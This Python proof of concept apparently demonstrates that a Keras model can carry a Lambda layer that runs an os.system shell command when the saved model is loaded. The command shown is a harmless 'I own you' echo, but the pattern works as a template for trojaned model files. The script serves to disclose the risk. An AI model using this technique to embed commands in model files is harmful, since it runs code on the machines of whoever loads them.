keras_is_not_safe.py

import tensorflow as tf


def exec_(*args, **kwargs):
    import os

    os.system('echo "########################################\nI own you.\n########################################"')
    return 10


num_classes = 10
input_shape = (28, 28, 1)

model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])


model.save("tf_ace.keras", save_format="keras_v3")
new_model = tf.keras.models.load_model("tf_ace.keras")